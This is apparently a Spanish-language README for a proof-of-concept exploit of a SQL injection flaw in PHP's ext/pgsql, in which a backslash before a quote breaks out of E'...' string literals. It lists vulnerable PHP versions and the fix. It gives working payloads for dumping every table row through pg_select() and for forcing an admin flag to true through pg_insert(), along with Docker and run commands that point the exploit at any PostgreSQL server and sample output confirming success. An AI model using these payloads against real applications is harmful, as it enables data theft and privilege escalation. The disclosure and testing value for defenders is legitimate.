
Exploit PoC para CVE-2026-17543: inyección SQL en PHP ext/pgsql mediante ruptura por barra invertida, con exfiltración de datos y payloads de escalada de privilegios de administrador para PostgreSQL.
ext/pgsql de PHP mediante la ruptura con barra invertida de E'...'Prueba de concepto para CVE-2026-17543 (CVSS 9.8 Crítico, CWE-89), una vulnerabilidad de inyección SQL en la extensión PostgreSQL procedural de PHP.
pg_insert(), pg_select(), pg_update(), pg_delete() y pg_convert() enrutan todos los valores de cadena a través de php_pgsql_convert(), que:
PQescapeStringConn() de libpq — que, bajo standard_conforming_strings = on (el valor predeterminado de PostgreSQL desde 9.1), duplica ' como '' y deja \ intacto (correcto para un literal '...' estándar).php_pgsql_add_quotes() en una constante de cadena de escape E'...' en lugar de un simple '...'.Dentro de E'...', la barra invertida sí es un carácter de escape, por lo que una \ colocada antes de una comilla anula el duplicado de comillas: \' se convierte en una ' literal, y la segunda comilla — colocada allí por el escapador para ser un literal duplicado — ahora termina la cadena antes de tiempo. Todo lo que sigue es SQL crudo e inyectado.
La corrección oficial (commit ab048bd83b57) es un solo carácter: emitir '...' en lugar de E'...'.
| Rama | Vulnerable | Corregida |
|---|---|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
No afectados: pg_query_params() (enlace de parámetros real) y las sentencias preparadas de PDO_PGSQL / PDO::quote() — estos usan rutas de código distintas que nunca llaman a php_pgsql_add_quotes().
zzz\' OR 1=1 --
(una barra invertida inmediatamente antes de la comilla simple)
... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 se analiza como SQL → devuelve todas las filas.... WHERE "name"='zzz\'' OR 1=1 --' → la barra invertida es normal, por lo que OR 1=1 -- se absorbe dentro del literal de cadena → no coincide con nada.Un segundo payload (eve\', true) --) demuestra la escalada de privilegios mediante pg_insert(), forzando una columna admin a true.
| Archivo | Descripción |
|---|---|
poc.php | Demuestra tanto la variante de exfiltración de datos con pg_select como la de escalada de privilegios con pg_insert; imprime el SQL generado para que el token E'...' sea visible |
Dockerfile | Fija una imagen CLI de PHP vulnerable (php:8.4.23-cli) con ext/pgsql |
docker-compose.yml | Levanta PostgreSQL 16 junto con el contenedor PHP vulnerable y ejecuta poc.php |
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
En una compilación parcheada, el SQL generado contiene '...' (sin E), [1] informa rows returned: 0 / no injection, y [2] informa admin flag: 'f'.
Apunta PGCONN a cualquier PostgreSQL y ejecuta con un PHP vulnerable:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql (--with-pgsql / la extensión pgsql).standard_conforming_strings = on).docker compose down -v
La imagen PHP utilizada aquí está, por definición, sin parchear para CVE-2026-17543. Ejecútala solo en un contenedor aislado y desechable, y ejecuta docker compose down -v al terminar. Nunca apuntes este PoC a una base de datos que te importe.